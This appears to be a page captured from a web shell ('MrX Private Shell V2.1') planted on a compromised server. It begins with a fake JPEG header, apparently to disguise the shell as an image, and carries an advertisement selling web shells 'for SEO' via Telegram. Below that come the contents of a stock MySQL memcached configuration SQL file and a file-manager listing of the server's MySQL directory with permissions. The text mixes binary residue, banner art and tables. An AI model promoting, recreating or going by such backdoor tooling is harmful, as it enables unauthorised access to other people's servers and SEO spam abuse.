����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
create database innodb_memcache;
use innodb_memcache;
-- ------------------------------------------------------------------------
-- Following are set of "configuration tables" that used to configure
-- the InnoDB Memcached.
-- ------------------------------------------------------------------------
-- ------------------------------------------------------------------------
-- Table `cache_policies`
--
-- Each record in this table represents a named caching policy, specifying:
-- * How the memcache GET command is executed, including whether to get
-- records from local cache only, from InnoDB only, from local cache if
-- present (treating InnoDB as a backing store), or not at all.
-- * Similarly, how memcache SET commands are executed.
-- * How memcache DELETE commands are executed.
-- * Whether flushing the cache should cause a mass delete from NDB.
--
-- ------------------------------------------------------------------------
CREATE TABLE IF NOT EXISTS `cache_policies` (
`policy_name` VARCHAR(40) PRIMARY KEY,
`get_policy` ENUM('innodb_only', 'cache_only', 'caching','disabled')
NOT NULL ,
`set_policy` ENUM('innodb_only', 'cache_only','caching','disabled')
NOT NULL ,
`delete_policy` ENUM('innodb_only', 'cache_only', 'caching','disabled')
NOT NULL,
`flush_policy` ENUM('innodb_only', 'cache_only', 'caching','disabled')
NOT NULL
) ENGINE = innodb;
-- ------------------------------------------------------------------------
-- Table `containers`
--
-- A container record describes an InnoDB table used for data storage by
-- InnoDB Memcache.
-- There must be a unique index on the `key column`, and unique index name
-- is specified in the `unique_idx_name_on_key` column of the table
-- `value_columns` are comma-separated lists of the columns that make up
-- the memcache key and value. Each column width is defined such that they
-- are in consistent with NDB memcached.
-- ------------------------------------------------------------------------
CREATE TABLE IF NOT EXISTS `containers` (
`name` varchar(50) not null primary key,
`db_schema` VARCHAR(250) NOT NULL,
`db_table` VARCHAR(250) NOT NULL,
`key_columns` VARCHAR(250) NOT NULL,
`value_columns` VARCHAR(250),
`flags` VARCHAR(250) NOT NULL DEFAULT "0",
`cas_column` VARCHAR(250),
`expire_time_column` VARCHAR(250),
`unique_idx_name_on_key` VARCHAR(250) NOT NULL
) ENGINE = InnoDB;
CREATE TABLE IF NOT EXISTS `config_options` (
`name` varchar(50) not null primary key,
`value` varchar(50)) ENGINE = InnoDB;
-- ------------------------------------------------------------------------
-- This is an example
-- We create a InnoDB table `demo_test` is the `test` database
-- and insert an entry into contrainers' table to tell InnoDB Memcache
-- that we has such InnoDB table as back store:
-- c1 -> key
-- c2 -> value
-- c3 -> flags
-- c4 -> cas
-- c5 -> exp time
-- PRIMARY -> use primary key to search
-- ------------------------------------------------------------------------
INSERT INTO containers VALUES ("aaa", "test", "demo_test",
"c1", "c2", "c3", "c4", "c5", "PRIMARY");
INSERT INTO cache_policies VALUES("cache_policy", "innodb_only",
"innodb_only", "innodb_only", "innodb_only");
INSERT INTO config_options VALUES("separator", "|");
INSERT INTO config_options VALUES("table_map_delimiter", ".");
CREATE DATABASE IF NOT EXISTS test;
USE test
-- ------------------------------------------------------------------------
-- Key (c1) must be VARCHAR or CHAR type, memcached supports key up to 255
-- Bytes
-- Value (c2) must be VARCHAR or CHAR type
-- Flag (c3) is a 32 bits integer
-- CAS (c4) is a 64 bits integer, per memcached define
-- Exp (c5) is again a 32 bits integer
-- ------------------------------------------------------------------------
CREATE TABLE demo_test (c1 VARCHAR(32),
c2 VARCHAR(1024),
c3 INT, c4 BIGINT UNSIGNED, c5 INT, primary key(c1))
ENGINE = INNODB;
INSERT INTO demo_test VALUES ("AA", "HELLO, HELLO", 8, 0, 0);
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| bulgarian | Folder | 0755 |
|
|
| charsets | Folder | 0755 |
|
|
| czech | Folder | 0755 |
|
|
| danish | Folder | 0755 |
|
|
| dutch | Folder | 0755 |
|
|
| english | Folder | 0755 |
|
|
| estonian | Folder | 0755 |
|
|
| french | Folder | 0755 |
|
|
| german | Folder | 0755 |
|
|
| greek | Folder | 0755 |
|
|
| hungarian | Folder | 0755 |
|
|
| italian | Folder | 0755 |
|
|
| japanese | Folder | 0755 |
|
|
| korean | Folder | 0755 |
|
|
| norwegian | Folder | 0755 |
|
|
| norwegian-ny | Folder | 0755 |
|
|
| polish | Folder | 0755 |
|
|
| portuguese | Folder | 0755 |
|
|
| romanian | Folder | 0755 |
|
|
| russian | Folder | 0755 |
|
|
| serbian | Folder | 0755 |
|
|
| slovak | Folder | 0755 |
|
|
| spanish | Folder | 0755 |
|
|
| swedish | Folder | 0755 |
|
|
| ukrainian | Folder | 0755 |
|
|
| dictionary.txt | File | 24.98 KB | 0644 |
|
| innodb_memcached_config.sql | File | 3.91 KB | 0644 |
|
| install_rewriter.sql | File | 2.21 KB | 0644 |
|
| messages_to_clients.txt | File | 615.68 KB | 0644 |
|
| messages_to_error_log.txt | File | 389.24 KB | 0644 |
|
| mysql-log-rotate | File | 1.98 KB | 0644 |
|
| uninstall_rewriter.sql | File | 1.27 KB | 0644 |
|